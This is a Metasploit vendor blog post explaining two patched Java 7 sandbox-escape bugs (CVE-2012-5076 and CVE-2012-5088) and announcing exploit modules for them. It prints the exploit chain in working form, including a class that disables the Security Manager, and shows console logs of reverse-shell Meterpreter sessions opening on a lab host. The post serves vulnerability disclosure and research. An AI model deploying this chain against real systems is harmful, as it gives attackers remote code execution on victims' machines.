juan.vazquez

New Java Modules in Metasploit... No 0 days this time

Blog Post created by juan.vazquez Employee on Jan 18, 2013

Last year Security Explorations published some awesome research, exploring the security state of the Java SE from Oracle, and disclosing different vulnerabilities and exploit vectors in this software. In fact, some of the last Java exploits found in the wild have been using techniques from the mentioned research. Today we're publishing two new modules exploiting some of the documented issues. In this blog post we would like to share something about them, with the hope it will allow a better understanding of the Java related issues exploited by malicious Java applets. Anyway, the Security Explorations lecture is recommended in order to gain a deep understanding of the exploited issues and the actual Java SE state of security.

 

Note: The issues exploited by these modules were patched (or tried to be patched) in Java 7u9, because of that, they will be working only against Java 7 (Update 7 and before).

 

CVE-2012-5076 - Abusing AverageRangeStatisticImpl.invoke()

 

The first of the modules is abusing the AverageRangeStatisticImpl class in the com.sun.org.glassfish.external.statistics.impl package. This package, introduced with Java 7, wasn't restricted by the default Java security properties configuration. This class provides a public method, invoke(),  which is doing an insecure usage of the the java.lang.reflect.Method.invoke method, calling it with user provided arguments:

 

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object result;
        try {
            result = method.invoke(this, args);
        } catch (InvocationTargetException e) {
            throw e.getTargetException();
        } catch (Exception e) {
            throw new RuntimeException("unexpected invocation exception: " +
                      e.getMessage());
        } finally {
        }
        return result;
    }






 

This can be abused by a malicious applet to make calls to restricted classes, with the system class java.lang.reflect.Method.invoke.AverageRangeStatisticImpl as caller. This behavior can be abused, for example, to call the static java.lang.invoke.MethodHandles.Lookup.lookup() method;

 

    /**
    * Returns a {@link Lookup lookup object} on the caller,
    * which has the capability to access any method handle that the caller has access to,
    * including direct method handles to private fields and methods.
    * This lookup object is a <em>capability</em> which may be delegated to trusted agents.
    * Do not store it in place where untrusted code can access it.
    */
    public static Lookup lookup() {
        return new Lookup();
    }






 

And create a Lookup object with the system class java.lang.reflect.Method.invoke.AverageRangeStatisticImpl as lookupClass:

 

        /** Embody the current class (the lookupClass) as a lookup class
        * for method handle creation.
        * Must be called by from a method in this package,
        * which in turn is called by a method not in this package.
        * <p>
        * Also, don't make it private, lest javac interpose
        * an access$N method.
        */
        Lookup() {
            this(getCallerClassAtEntryPoint(false), ALL_MODES);
            // make sure we haven't accidentally picked up a privileged class:
            checkUnprivilegedlookupClass(lookupClass);
        }






 

The getCallerClassAtEntryPoint will set the lookupClass:

 

        /* Obtain the external caller class, when called from Lookup.<init> or a first-level subroutine. */
        private static Class<?> getCallerClassAtEntryPoint(boolean inSubroutine) {
            final int CALLER_DEPTH = 4;
            //  Stack for the constructor entry point (inSubroutine=false):
            // 0: Reflection.getCC, 1: getCallerClassAtEntryPoint,
            // 2: Lookup.<init>, 3: MethodHandles.*, 4: caller
            //  The stack is slightly different for a subroutine of a Lookup.find* method:
            // 2: Lookup.*, 3: Lookup.find*.*, 4: caller
            // Note:  This should be the only use of getCallerClass in this file.
            assert(Reflection.getCallerClass(CALLER_DEPTH-2) == Lookup.class);
            assert(Reflection.getCallerClass(CALLER_DEPTH-1) == (inSubroutine ? Lookup.class : MethodHandles.class));
            return Reflection.getCallerClass(CALLER_DEPTH);
        }






 

The checkUnprivilegedlookupClass will ensure the lookupClass isn't part of the "java.lank.invoke." package, I guess to avoid to use same reflection API to create a Lookup object with a system class as lookupClass:

 

        private static void checkUnprivilegedlookupClass(Class<?> lookupClass) {
            String name = lookupClass.getName();
            if (name.startsWith("java.lang.invoke."))
                throw newIllegalArgumentException("illegal lookupClass: "+lookupClass);
        }






 

So far so good, with a MethodHandles.Lookup object with a system class as lookupClass, we can abuse the new reflection API to finally bypass the sandbox. In order to do it, the Class.forName method is used to get references for the restricted classes sun.org.mozilla.javascript.internal.Context and sun.org.mozilla.javascript.internal.GeneratedClassLoader, and these are used to define a custom provided class in a privileged class loader namespace:

 

MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);
MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0);
Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" });
Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });

// Instance of sun.org.mozilla.javascript.internal.Context
MethodType localMethodType1 = MethodType.methodType(Void.TYPE);
MethodHandle localMethodHandle1 = test.findConstructor(localClass1, localMethodType1);
Object localObject1 = localMethodHandle1.invokeWithArguments(new Object[0]);

// Context.createClassLoader
MethodType localMethodType2 = MethodType.methodType(localClass2, ClassLoader.class);
MethodHandle localMethodHandle2 = test.findVirtual(localClass1, "createClassLoader", localMethodType2);
Object localObject2 = localMethodHandle2.invokeWithArguments(new Object[] { localObject1, null });

// GeneratedClassLoader.defineClass
MethodType localMethodType3 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
MethodHandle localMethodHandle3 = test.findVirtual(localClass2, "defineClass", localMethodType3);
Class localClass3 = (Class)localMethodHandle3.invokeWithArguments(new Object[] { localObject2, null, buffer });






 

The provided class to be loaded implements PrivilegedAction, this action invokes setSecurityManager with a NULL argument to disable the Security Manager in the Java VM:

 

import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class B
  implements PrivilegedExceptionAction
{
  public B()
  {
    try
    {
      AccessController.doPrivileged(this); } catch (Exception e) {
    }
  }

  public Object run() {
    System.setSecurityManager(null);
    return new Object();
  }
}






 

The exploitation method exposed before is also documented in detail on the Security Explorations paper (using sun.org.mozilla.javascript.internal.DefiningClassLoader), and has been used in the wild to exploit the CVE-2013-0422. Now you can use one of the new Metasploit modules to test it:

 

  
msf > use exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl 
msf  exploit(java_jre17_glassfish_averagerangestatisticimpl) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444 
[*] Using URL: http://0.0.0.0:8080/CB9zqJIFfRLz5
[*]  Local IP: http://192.168.1.128:8080/CB9zqJIFfRLz5
[*] Server started.
msf  exploit(java_jre17_glassfish_averagerangestatisticimpl) > [*] 192.168.1.142    java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5
[*] 192.168.1.142    java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/
[*] 192.168.1.142    java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/fvaWoLCE.jar
[*] 192.168.1.142    java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/fvaWoLCE.jar
[*] Sending stage (30216 bytes) to 192.168.1.142
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.142:3159) at 2013-01-17 21:25:13 +0100

msf  exploit(java_jre17_glassfish_averagerangestatisticimpl) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer    : juan-c0de875735
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter > 

 

 

 

CVE-2012-5088 - Abusing MethodHandle.invokeWithArguments


The second modules presented is abusing  the java.lang.invoke.MethodHandle.invokeWithArguments function. This issue around this method is explained again by Security Explorations in this report. This public method is a wrapper to the invokeExact method, provided by the same MethodHandle class:

 

    /**
    * Performs a variable arity invocation, passing the arguments in the given array
    * to the method handle, as if via an inexact {@link #invoke invoke} from a call site
    * which mentions only the type {@code Object}, and whose arity is the length
    * of the argument array.
    * <p>
    * Specifically, execution proceeds as if by the following steps,
    * although the methods are not guaranteed to be called if the JVM
    * can predict their effects.
    * <ul>
    * <li>Determine the length of the argument array as {@code N}.
    *    For a null reference, {@code N=0}. </li>
    * <li>Determine the general type {@code TN} of {@code N} arguments as
    *    as {@code TN=MethodType.genericMethodType(N)}.</li>
    * <li>Force the original target method handle {@code MH0} to the
    *    required type, as {@code MH1 = MH0.asType(TN)}. </li>
    * <li>Spread the array into {@code N} separate arguments {@code A0, ...}. </li>
    * <li>Invoke the type-adjusted method handle on the unpacked arguments:
    *    MH1.invokeExact(A0, ...). </li>
    * <li>Take the return value as an {@code Object} reference. </li>
    * </ul>
    * <p>
    * Because of the action of the {@code asType} step, the following argument
    * conversions are applied as necessary:
    * <ul>
    * <li>reference casting
    * <li>unboxing
    * <li>widening primitive conversions
    * </ul>
    * <p>
    * The result returned by the call is boxed if it is a primitive,
    * or forced to null if the return type is void.
    * <p>
    * This call is equivalent to the following code:
    * <p><blockquote><pre>
    * MethodHandle invoker = MethodHandles.spreadInvoker(this.type(), 0);
    * Object result = invoker.invokeExact(this, arguments);
    * </pre></blockquote>
    * <p>
    * Unlike the signature polymorphic methods {@code invokeExact} and {@code invoke},
    * {@code invokeWithArguments} can be accessed normally via the Core Reflection API and JNI.
    * It can therefore be used as a bridge between native or reflective code and method handles.
    *
    * @param arguments the arguments to pass to the target
    * @return the result returned by the target
    * @throws ClassCastException if an argument cannot be converted by reference casting
    * @throws WrongMethodTypeException if the target's type cannot be adjusted to take the given number of {@code Object} arguments
    * @throws Throwable anything thrown by the target method invocation
    * @see MethodHandles#spreadInvoker
    */
    public Object invokeWithArguments(Object... arguments) throws Throwable {
        int argc = arguments == null ? 0 : arguments.length;
        MethodType type = type();
        if (type.parameterCount() != argc || isVarargsCollector()) {
            // simulate invoke
            return asType(MethodType.genericMethodType(argc)).invokeWithArguments(arguments);
        }
        MethodHandle invoker = type.invokers().varargsInvoker();
        return invoker.invokeExact(this, arguments);
    }






 

It's interesting because, as documented by Security Explorations, it allows to bypass security checks based on the immediate caller. It can be abused to get references to restricted classes with a code like that:

 

MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);
MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0);
Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" });
Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });






 

The root cause is Class.forName() method being one of these doing security checks based on the immediate caller:

 

/**
    * Returns the {@code Class} object associated with the class or
    * interface with the given string name.  Invoking this method is
    * equivalent to:
    *
    * <blockquote>
    *  {@code Class.forName(className, true, currentLoader)}
    * </blockquote>
    *
    * where {@code currentLoader} denotes the defining class loader of
    * the current class.
    *
    * <p> For example, the following code fragment returns the
    * runtime {@code Class} descriptor for the class named
    * {@code java.lang.Thread}:
    *
    * <blockquote>
    *  {@code Class t = Class.forName("java.lang.Thread")}
    * </blockquote>
    * <p>
    * A call to {@code forName("X")} causes the class named
    * {@code X} to be initialized.
    *
    * @param      className  the fully qualified name of the desired class.
    * @return    the {@code Class} object for the class with the
    *            specified name.
    * @exception LinkageError if the linkage fails
    * @exception ExceptionInInitializerError if the initialization provoked
    *            by this method fails
    * @exception ClassNotFoundException if the class cannot be located
    */
    public static Class<?> forName(String className)
                throws ClassNotFoundException {
        return forName0(className, true, ClassLoader.getCallerClassLoader());
    }






The forName method will use the ClassLoader.getCallerClassLoader() to get the invoker ClassLoader and use it as the defining one of the current class. This getCallerClassLoader is trying to retrieve the caller and its ClassLoader:

 

    // Returns the invoker's class loader, or null if none.
    // NOTE: This must always be invoked when there is exactly one intervening
    // frame from the core libraries on the stack between this method's
    // invocation and the desired invoker.
    static ClassLoader getCallerClassLoader() {
        // NOTE use of more generic Reflection.getCallerClass()
        Class caller = Reflection.getCallerClass(3);
        // This can be null if the VM is requesting it
        if (caller == null) {
            return null;
        }
        // Circumvent security check since this is package-private
        return caller.getClassLoader0();
    }






 

But because of the wrapper method, the Reflection.getCallerClass(3) will see the invokeWithArgument() as the caller, and the getCallerClassLoader will finally use the loader for the MethodHandle system class (not the one for the Exploit class):

 

callers.png

 

It will allow to get references to the restricted sun.org.mozilla.javascript.internal.Context and sun.org.mozilla.javascript.internal.GeneratedClassLoader classes. After that, recursive reflection is used, as exploited in the wild with CVE-2013-0422. The recursive reflection technique has been also documented also by @sagar38 here and @mihi42 here. It works because the new Reflection API security is also based in check the caller at the moment of acquire a MethodHandle. For example, we can check the MethodHandles.Lookup.findVirtual() method:

 

public MethodHandle findVirtual(Class<?> refc, String name, MethodType type) throws NoSuchMethodException, IllegalAccessException {
            MemberName method = resolveOrFail(refc, name, type, false);
            checkSecurityManager(refc, method);  // stack walk magic: do not refactor
            return accessVirtual(refc, method);
        }







It uses the checkSecurityManager function to perform access checks, also based in the caller Class (again will see, incorrectly, the MethodHandle class as the caller):

 

/**
        * Perform necessary <a href="MethodHandles.Lookup.html#secmgr">access checks</a>.
        * This function performs stack walk magic: do not refactor it.
        */
        void checkSecurityManager(Class<?> refc, MemberName m) {
            SecurityManager smgr = System.getSecurityManager();
            if (smgr == null)  return;
            if (allowedModes == TRUSTED)  return;
            // Step 1:
            smgr.checkMemberAccess(refc, Member.PUBLIC);
            // Step 2:
            Class<?> callerClass = ((allowedModes & PRIVATE) != 0
                                    ? lookupClass  // for strong access modes, no extra check
                                    // next line does stack walk magic; do not refactor:
                                    : getCallerClassAtEntryPoint(true));
            if (!VerifyAccess.classLoaderIsAncestor(lookupClass, refc) ||
                (callerClass != lookupClass &&
                !VerifyAccess.classLoaderIsAncestor(callerClass, refc)))
                smgr.checkPackageAccess(VerifyAccess.getPackageName(refc));
            // Step 3:
            if (m.isPublic()) return;
            Class<?> defc = m.getDeclaringClass();
            smgr.checkMemberAccess(defc, Member.DECLARED);  // STACK WALK HERE
            // Step 4:
            if (defc != refc)
                smgr.checkPackageAccess(VerifyAccess.getPackageName(defc));

            // Comment from SM.checkMemberAccess, where which=DECLARED:
            /*
            * stack depth of 4 should be the caller of one of the
            * methods in java.lang.Class that invoke checkMember
            * access. The stack should look like:
            *
            * someCaller                        [3]
            * java.lang.Class.someReflectionAPI [2]
            * java.lang.Class.checkMemberAccess [1]
            * SecurityManager.checkMemberAccess [0]
            *
            */
            // For us it is this stack:
            // someCaller                        [3]
            // Lookup.findSomeMember            [2]
            // Lookup.checkSecurityManager      [1]
            // SecurityManager.checkMemberAccess [0]
        }







The technique to finally disable the Security Manager is the same as in the previous case.

 

MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
localClass3.newInstance();


 

And again, the another of  the new modules in action:

  
msf  exploit(java_jre17_method_handle) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444 
[*] Using URL: http://0.0.0.0:8080/ZxzpOK7
[*]  Local IP: http://192.168.1.128:8080/ZxzpOK7
[*] Server started.
msf  exploit(java_jre17_method_handle) > [*] 192.168.1.142    java_jre17_method_handle - handling request for /ZxzpOK7
[*] 192.168.1.142    java_jre17_method_handle - handling request for /ZxzpOK7/
[*] 192.168.1.142    java_jre17_method_handle - handling request for /ZxzpOK7/ciwksCGP.jar
[*] 192.168.1.142    java_jre17_method_handle - handling request for /ZxzpOK7/ciwksCGP.jar
[*] Sending stage (30216 bytes) to 192.168.1.142
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.142:3148) at 2013-01-17 21:07:22 +0100

msf  exploit(java_jre17_method_handle) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer    : juan-c0de875735
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter > 

 

 

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

Outcomes